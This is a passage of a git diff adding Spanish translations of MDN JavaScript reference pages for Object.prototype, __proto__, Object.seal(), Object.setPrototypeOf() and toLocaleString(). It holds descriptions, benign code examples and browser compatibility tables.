+<p>La propiedad <code>__proto__</code> es una simple propiedad de acceso a {{jsxref("Object.prototype")}} que consiste en una función getter y setter. Un acceso a la propiedad  <code>__proto__</code> que eventualmente consulta {{jsxref("Object.prototype")}} encontrará esta propiedad, pero un acceso que no consulta {{jsxref("Object.prototype")}} no lo encontrará. Si alguna otra propiedad <code>__proto__</code> es encontrada antes {{jsxref("Object.prototype")}} es consultada, esta propiedad sera ocultada por la encontrada en {{jsxref("Object.prototype")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Incluída en el anexo (normativa) para características de legado ECMAScript para navegadores web (observar que la especificación de codificación es lo que ya está en las implementaciones).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<p>Mientras la especificación ECMAScript 2015 (ES6) dicta que el soporte para <code>__proto__</code> es requerido <em>solo</em> para navegadores web (a pesar de ser normativo), otros medios pueden soportarlo por uso de legado.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/object/prototype/index.html
new file mode 100644
index 0000000000..25c11842ad
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/prototype/index.html
@@ -0,0 +1,194 @@
+---
+title: Object.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/prototype
+tags:
+  - JavaScript
+  - Objeto
+  - Propiedad
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef("Objetos_globales", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La propiedad <code><strong>Object.prototype</strong></code> representa al objeto prototipo de {{jsxref("Object")}}.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Todos los objetos en JavaScript provienen de {{jsxref("Global_Objects/Object", "Object")}}; todos los objetos heredan métodos y propiedades de<code> Object.prototype</code>, aunque pueden ser sobrecargados. Sin embargo, un <code>Object</code>  puede ser deliberadamente creado para que esto no sea cierto (por ejemplo usando  {{jsxref("Object.create", "Object.create(null)")}}), o bien alterado para que no cumpla esta propiedad (por ejemplo usando {{jsxref("Object.setPrototypeOf")}}).</p>
+
+<p>Cambios en el prototipo de {{jsxref("Object")}} son vistos por <strong>todos </strong>los objetos a traves de el encadenado de prototype, a no ser que las propiedades y los metodos sujetos a estos cambios sean sobreescritos en algun lugar de la cadena de prototype. Este poderoso y a la vez potencialmente peligroso mecanismo permite extender o sobreescribir el comportamiento de un objeto.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.constructor")}}</dt>
+ <dd>Especifica la función que crea el prototipo de un objeto.</dd>
+ <dt>{{jsxref("Object.proto", "Object.prototype.__proto__")}} {{Non-standard_inline}}</dt>
+ <dd>Apunta al objeto que se usó como prototipo cuando fue instanciado.</dd>
+ <dt>{{jsxref("Object.noSuchMethod", "Object.prototype.__noSuchMethod__")}} {{Non-standard_inline}}</dt>
+ <dd>Permite a una función ser definida que sera ejecutada cuando un miembro del objeto es llamado como un metodo.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.count", "Object.prototype.__count__")}} {{obsolete_inline()}}</s></dt>
+ <dd>Se utiliza para devolver el número de propiedades enumerables directamente en un objeto definido por el usuario, pero que ha sido eliminado.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.parent", "Object.prototype.__parent__")}} {{obsolete_inline()}}</s></dt>
+ <dd><s class="obsoleteElement">Apunta al contexto de un objeto. Ha sido borrado.</s></dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Object.defineGetter", "Object.prototype.__defineGetter__()")}} {{Non-standard_inline}} {{deprecated_inline()}}</dt>
+ <dd>Asocia una función con una propiedad que, cuando se accede a ella, ejecuta esa función y devuelve su valor de retorno.</dd>
+ <dt>{{jsxref("Object.defineSetter", "Object.prototype.__defineSetter__()")}} {{Non-standard_inline}} {{deprecated_inline()}}</dt>
+ <dd>Asocia una función con una propiedad que al establecerse ejecuta esa función que modifica la propiedad.</dd>
+ <dt>{{jsxref("Object.lookupGetter", "Object.prototype.__lookupGetter__()")}} {{Non-standard_inline}} {{deprecated_inline()}}</dt>
+ <dd>Devuelve la función asociada con la propiedad indicada por el método {{jsxref("Object.defineGetter", "__defineGetter__")}}.</dd>
+ <dt>{{jsxref("Object.lookupSetter", "Object.prototype.__lookupSetter__()")}} {{Non-standard_inline}} {{deprecated_inline()}}</dt>
+ <dd>Devuelve la función asociada con la propiedad indicada en el método {{jsxref("Object.defineSetter", "__defineSetter__")}}.</dd>
+ <dt>{{jsxref("Object.prototype.hasOwnProperty()")}}</dt>
+ <dd>Devuelve un valor lógico (boolean) que indica si el objeto contiene la propiedad indicada como una propiedad directa de ese objeto y no heredada por la cadena de prototipo.</dd>
+ <dt>{{jsxref("Object.prototype.isPrototypeOf()")}}</dt>
+ <dd>Devuelve una indicación <em>booleana</em> cuando el objeto especificado está en la cadena de prototipos del objeto sobre el cuál éste método es llamado.</dd>
+ <dt>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</dt>
+ <dd>Devuelve un valor lógico (boolean) indicando si el attributo <a href="/es/docs/Web/JavaScript/Data_structures#Objetos">ECMAScript [[Enumerable]]</a> está definido.</dd>
+ <dt>{{jsxref("Object.prototype.toSource()")}} {{Non-standard_inline}}</dt>
+ <dd>Devuelve una cadena con el fuente de un literal de objeto que representa el objeto desde el que este método es llamado; se puede usar este valor para crear un nuevo objeto.</dd>
+ <dt>{{jsxref("Object.prototype.toLocaleString()")}}</dt>
+ <dd>Llama a {{jsxref("Object.toString", "toString()")}}.</dd>
+ <dt>{{jsxref("Object.prototype.toString()")}}</dt>
+ <dd>Devuelve la cadena de texto (string) que representa al objeto.</dd>
+ <dt>{{jsxref("Object.prototype.unwatch()")}} {{Non-standard_inline}}</dt>
+ <dd>Remueve un punto de mira de una propiedad del objeto.</dd>
+ <dt>{{jsxref("Object.prototype.valueOf()")}}</dt>
+ <dd>Devuelve el valor primitivo del objeto indicado.</dd>
+ <dt>{{jsxref("Object.prototype.watch()")}} {{Non-standard_inline}}</dt>
+ <dd>Agrega un punto de mira a una propiedad del objeto.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.eval()")}} {{ obsolete_inline()}}</s></dt>
+ <dd><s class="obsoleteElement">Se utiliza para evaluar una cadena de código JavaScript  en el contexto del objeto especificado, pero que ha sido removido.</s></dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Al alterar el comportamiento de un método existente en Object.prototype, es oportuno considerar envolver el código de tu extensión antes o después de la existente lógica. Por ejemplo, este trozo de código (sin testear) ejecutara una determinada lógica antes de que la lógica existente o la de algún otro elemento sea ejecutada.</p>
+
+<p>Cuando una función es llamada, los parámetros de la llamada son mantenidos en el argumento parecido a una array llamado "arguments". Por ejemplo, en la llamada "myFn(a, b, c)", los parámetros dentro del cuerpo de la función myFn estarán contenidos en una variable llamada "arguments". Si se desea llamar al siguiente método de la cadena de prototype, simplemente añade this y arguments a la funcion apply(). Este patrón puede ser usado en cualquier prototype, por ejemplo Node.prototype, Function.prototype, etc.</p>
+
+<pre class="brush: js">var current = Object.prototype.valueOf;
+
+// Como mi propiedad "-prop-value" es un atajo y no se encuentra siempre
+// en la cadena de prototype, queremos modificar Object.prototype:
+Object.prototype.valueOf = function() {
+  if (this.hasOwnProperty('-prop-value')) {
+    return this['-prop-value'];
+  } else {
+    // No parece que este objeto sea uno de los mios, por lo que recaeeremos
+    // en el comportamiento por defecto lo mejor que podamos.
+    // La llamada apply se comporta como el "super" en otros lenguages de programación.
+    // A pesar de que valueOf() no tiene parametros, alguna otra llamada podria tenerlos.
+    return current.apply(this, arguments);
+  }
+}</pre>
+
+<p>Como JavaScript no tiene objetos de tipo “subclase”, prototype es realmente útil para crear un objeto “base” donde ciertas funciones actúan como objetos. Por ejemplo:</p>
+
+<pre class="brush: js">var Person = function(name) {
+  this.name = name;
+  this.canTalk = true;
+};
+
+Person.prototype.greet = function() {
+  if (this.canTalk) {
+    console.log('Hi, I am ' + this.name);
+  }
+};
+
+var Employee = function(name, title) {
+  Person.call(this, name);
+  this.title = title;
+};
+
+Employee.prototype = Object.create(Person.prototype);
+Employee.prototype.constructor = Employee;
+
+Employee.prototype.greet = function() {
+  if (this.canTalk) {
+    console.log('Hi, I am ' + this.name + ', the ' + this.title);
+  }
+};
+
+var Customer = function(name) {
+  Person.call(this, name);
+};
+
+Customer.prototype = Object.create(Person.prototype);
+Customer.prototype.constructor = Customer;
+
+var Mime = function(name) {
+  Person.call(this, name);
+  this.canTalk = false;
+};
+
+Mime.prototype = Object.create(Person.prototype);
+Mime.prototype.constructor = Mime;
+
+var bob = new Employee('Bob', 'Builder');
+var joe = new Customer('Joe');
+var rg = new Employee('Red Green', 'Handyman');
+var mike = new Customer('Mike');
+var mime = new Mime('Mime');
+
+bob.greet();
+// Hi, I am Bob, the Builder
+
+joe.greet();
+// Hi, I am Joe
+
+rg.greet();
+// Hi, I am Red Green, the Handyman
+
+mike.greet();
+// Hi, I am Mike
+
+mime.greet();</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>
+    <p>Definición inicial.Implementado en  JavaScript 1.0.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("javascript.builtins.Object.prototype")}}</p>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/seal/index.html b/files/es/web/javascript/referencia/objetos_globales/object/seal/index.html
new file mode 100644
index 0000000000..42c89175a3
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/seal/index.html
@@ -0,0 +1,167 @@
+---
+title: Object.seal()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/seal
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.seal()</strong></code> sella un objeto, previniendo que puedan añadirse nuevas propiedades al mismo, y marcando todas las propiedades existentes como no-configurables. Los valores de las propiedades presentes permanecen pudiendo cambiarse en tanto en cuanto dichas propiedades sean de escritura.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Object.seal(<var>obj</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto que ha de ser sellado.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Por defecto, los objetos son {{jsxref("Object.isExtensible()", "extensibles", "", 1)}} (pueden añadirse nuevas propiedades a los mismos). Sellar un objeto previene que nuevas propiedades puedan ser añadidas y marca todas las propiedades existentes como no-configurables. Esto tiene el efecto de hacer fijo e inmutable el juego de propiedades del objeto. Al hacer todas las propiedades no-configurables previene también que se puedan convertir propiedades de datos en propiedades de acceso y viceversa, pero no evita que los valores de las propiedades de datos puedan ser modificados. Intentar eliminar o añadir propiedades a un objeto sellado, o convertir una propiedad de datos en una propiedad de acceso fallará, bien silenciadamente o bien produciendo un {{jsxref("TypeError")}} (más frecuentemente, aunque no exclusivamente, con código en {{jsxref("Strict_mode", "modo estricto", "", 1)}}).</p>
+
+<p>La cadena de prototiado permanece inalterada. No obstante, la propiedad {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} es también sellada.</p>
+
+<p>Retorna una referencia al Objeto pasado.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// Pueden añadirse nuevas propiedades, propiedades existentes pueden cambiarse o eliminarse.
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+var o = Object.seal(obj);
+
+o === obj; // true
+Object.isSealed(obj); // === true
+
+// Sigue permitido modificar valores de propiedades en un objeto sellado.
+obj.foo = 'quux';
+
+// Pero no puedes convertir propiedades de datos en propiedades de acceso, ni viveversa
+Object.defineProperty(obj, 'foo', { get: function() { return 'g'; } }); // produce un TypeError
+
+// Ahora, cualquier cambio que no sea modificar valores de propiedades fallará
+obj.quaxxor = 'the friendly duck'; // silenciosamente, no añadirá la propiedad
+delete obj.foo; // silenciosamente, no eliminará la propiedad
+
+// ...y en modo estricto esos intentos producirán TypeErrors.
+function fail() {
+  'use strict';
+  delete obj.foo; // genera un TypeError
+  obj.sparky = 'arf'; // genera un TypeError
+}
+fail();
+
+// Intentar añadir propiedades mediante Object.defineProperty también fallará.
+Object.defineProperty(obj, 'ohai', { value: 17 }); // genera un TypeError
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // cambia el valor exisitente
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>En ES5, si el argumento de este método no es un objeto (una primitiva), se generará un {{jsxref("TypeError")}}. En ES6, un argumento no-objeto será tratado como si se sellase un objeto ordinario, símplemente retornándolo.</p>
+
+<pre class="brush: js">Object.seal(1);
+// TypeError: 1 no es un objeto (código ES5)
+
+Object.seal(1);
+// 1                             (código ES6)
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en  JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.seal', 'Object.seal')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("6")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestiación</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/setprototypeof/index.html b/files/es/web/javascript/referencia/objetos_globales/object/setprototypeof/index.html
new file mode 100644
index 0000000000..ff32fc5738
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/setprototypeof/index.html
@@ -0,0 +1,237 @@
+---
+title: Object.setPrototypeOf()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/setPrototypeOf
+tags:
+  - ECMAScript6
+  - Experimental
+  - JavaScript
+  - Método(2)
+  - Objeto
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf
+---
+<p>{{JSRef}}</p>
+
+<p>El método <code><strong>Object.setPrototypeOf()</strong></code> establece el prototipo (p.e., la propiedad interna <code>[[Prototype]]</code>) de un objeto especificado a otro objeto o sino establece {{jsxref("null")}}.</p>
+
+<div class="warning">
+<p><strong>Adverdencia:</strong> Cambiar la propiedad <code>[[Prototype]]</code> de un objeto, debido a la naturaleza de la optimización del acceso a propiedades de los motores modernos de JavaScript, es una operación bastante lenta, en todo <strong><em>todo</em></strong> navegador y motor de JavaScript. Los efectos sobre el rendimiento al alterar la herencia son sutiles y vastos., y no están limitados a simplemente el tiempo gastado en la sentencia <code>obj.__proto___ = ...</code>,  but may extend to <strong><em>any</em></strong> code that has access to <strong><em>any</em></strong> object whose <code>[[Prototype]]</code> has been altered. If you care about performance you should avoid setting the <code>[[Prototype]]</code> of an object. Instead, create a new object with the desired <code>[[Prototype]]</code> using {{jsxref("Object.create()")}}.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Object.setPrototypeOf(<var>obj</var>, <var>prototype</var>);</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto al que se ha de establecer el prototipo.</dd>
+ <dt><code>prototype</code></dt>
+ <dd>El nuevo prototipo del objeto, (un objeto o {{jsxref("null")}}).</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Arroja una excepción del tipo {{jsxref("TypeError")}} si el objeto cuyo <code>[[Prototype]]</code> se va a modificar no es extensible de acuerdo con {{jsxref("Object.isExtensible()")}}. No hace nada si el parametro <code>prototype</code> no es un objeto o {{jsxref("null")}} (p.e., número, cadena, booleano, o {{jsxref("undefined")}}). De cualquier otra forma, este método cambia la propiedad <code>[[Prototype]]</code> del <code>obj</code> al valor nuevo.</p>
+
+<p><code>Object.setPrototypeOf()</code> está en el último borrador del estandar ECMAScript6. Es considerado generalmente la manera adecuada de establecer el prototipo de un objeto, contra la propiedad más controversial {{jsxref("Object.prototype.__proto__")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">var dict = Object.setPrototypeOf({}, null);
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Utilizando la vieja propiedad {{jsxref("Object.prototype.__proto__")}}, podemos definir facilmente <code>Object.setPrototypeOf</code> si aún no está disponible:</p>
+
+<pre class="brush: js">// Solo funciona en Chrome y FirefoxOnly works in Chrome y FireFox, no funciona en IE:
+Object.setPrototypeOf = Object.setPrototypeOf || function(obj, proto) {
+  obj.__proto__ = proto;
+  return obj;
+}
+</pre>
+
+<h2 id="Agregando_cadenas_de_prototipo">Agregando cadenas de prototipo</h2>
+
+<p>Una combinación de <code>Object.getPrototypeOf()</code> y {{jsxref("Object.proto", "Object.prototype.__proto__")}} permite agregar una nueva cadena de prototipos al nuevo  prototipo del objeto.</p>
+
+<pre class="brush: js">/**
+*** Object.appendChain(@object, @prototype)
+*
+* Agrega el primer prototipo no-nativo de una cadena a un nuevo prototipo.
+* Retorna @object (si es Primitivo (Primitive value) será transoformado a Objeto).
+*
+*** Object.appendChain(@object [, "@arg_name_1", "@arg_name_2", "@arg_name_3", "..."], "@function_body")
+*** Object.appendChain(@object [, "@arg_name_1, @arg_name_2, @arg_name_3, ..."], "@function_body")
+*
+*  Agrega el primer prototipo no-nativo de una cadena a la Function.prototype nativa del objeto, luego agrega una
+* ueva Function(["@arg"(s)], "@function_body") a la cadena.
+* Retorna la función.
+*
+**/
+
+Object.appendChain = function(oChain, oProto) {
+  if (arguments.length &lt; 2) {
+    throw new TypeError('Object.appendChain - Not enough arguments');
+  }
+  if (typeof oProto === 'number' || typeof oProto === 'boolean') {
+    throw new TypeError('second argument to Object.appendChain must be an object or a string');
+  }
+
+  var oNewProto = oProto,
+      oReturn = o2nd = oLast = oChain instanceof this ? oChain : new oChain.constructor(oChain);
+
+  for (var o1st = this.getPrototypeOf(o2nd);
+    o1st !== Object.prototype &amp;&amp; o1st !== Function.prototype;
+    o1st = this.getPrototypeOf(o2nd)
+  ) {
+    o2nd = o1st;
+  }
+
+  if (oProto.constructor === String) {
+    oNewProto = Function.prototype;
+    oReturn = Function.apply(null, Array.prototype.slice.call(arguments, 1));
+    this.setPrototypeOf(oReturn, oLast);
+  }
+
+  this.setPrototypeOf(o2nd, oNewProto);
+  return oReturn;
+}
+</pre>
+
+<h3 id="Uso">Uso</h3>
+
+<h4 id="Primer_ejemplo_Agregar_una_cadena_a_un_prototipo">Primer ejemplo: Agregar una cadena a un prototipo</h4>
+
+<pre class="brush: js">function Mammal() {
+  this.isMammal = 'yes';
+}
+
+function MammalSpecies(sMammalSpecies) {
+  this.species = sMammalSpecies;
+}
+
+MammalSpecies.prototype = new Mammal();
+MammalSpecies.prototype.constructor = MammalSpecies;
+
+var oCat = new MammalSpecies('Felis');
+
+console.log(oCat.isMammal); // 'yes'
+
+function Animal() {
+  this.breathing = 'yes';
+}
+
+Object.appendChain(oCat, new Animal());
+
+console.log(oCat.breathing); // 'yes'
+</pre>
+
+<h4 id="Segundo_ejemplo_Transofrmando_un_valor_Primitivo_en_una_instancia_de_su_constructor_y_agregar_su_cadena_al_prototipo">Segundo ejemplo: Transofrmando un valor Primitivo en una instancia de su constructor y agregar su cadena al prototipo</h4>
+
+<pre class="brush: js">function Symbol() {
+  this.isSymbol = 'yes';
+}
+
+var nPrime = 17;
+
+console.log(typeof nPrime); // 'number'
+
+var oPrime = Object.appendChain(nPrime, new Symbol());
+
+console.log(oPrime); // '17'
+console.log(oPrime.isSymbol); // 'yes'
+console.log(typeof oPrime); // 'object'
+</pre>
+
+<h4 id="Tercer_ejemplo_Agregando_una_cadena_a_la_Function.prototype_de_un_objeto_y_agregando_una_nueva_función_a_la_cadena">Tercer ejemplo: Agregando una cadena a la Function.prototype de un objeto y agregando una nueva función a la cadena</h4>
+
+<pre class="brush: js">function Person(sName) {
+  this.identity = sName;
+}
+
+var george = Object.appendChain(new Person('George'),
+                                'console.log("Hello guys!!");');
+
+console.log(george.identity); // 'George'
+george(); // 'Hello guys!!'
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.setprototypeof', 'Object.setProtoypeOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("34")}}</td>
+   <td>{{CompatGeckoDesktop("31")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("31")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Reflect.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.__proto__")}} </li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/tolocalestring/index.html b/files/es/web/javascript/referencia/objetos_globales/object/tolocalestring/index.html
new file mode 100644
index 0000000000..d0de708b98
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/tolocalestring/index.html
@@ -0,0 +1,106 @@
+---
+title: Object.prototype.toLocaleString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/toLocaleString
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>toLocaleString()</strong></code> devuelve un string que representa a un objeto. Este método está pensado para ser redefinido en los objetos derivados, para los propósitos específicos de cada configuración regional.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-tolocalestring.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><var>objeto</var>.toLocaleString()</pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un string que representa al objeto.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>{{jsxref("Object")}}'s <code>toLocaleString</code> devuelve el resultado de llamar a {{jsxref("Object.toString", "toString()")}}.</p>
+
+<p>Se proporciona esta función para que los objetos dispongan de un método <code>toLocaleString</code> genérico, aunque puede que no todos la utilicen. Véase la lista siguiente.</p>
+
+<h3 id="Objetos_que_redefinen_toLocaleString">Objetos que redefinen <code>toLocaleString</code></h3>
+
+<ul>
+ <li>{{jsxref("Array")}}: {{jsxref("Array.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Number")}}: {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date")}}: {{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("TypedArray")}}: {{jsxref("TypedArray.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("BigInt")}}: {{jsxref("BigInt.prototype.toLocaleString()")}}</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Redefinición_de_toLocaleString_en_Array">Redefinición de toLocaleString() en Array</h3>
+
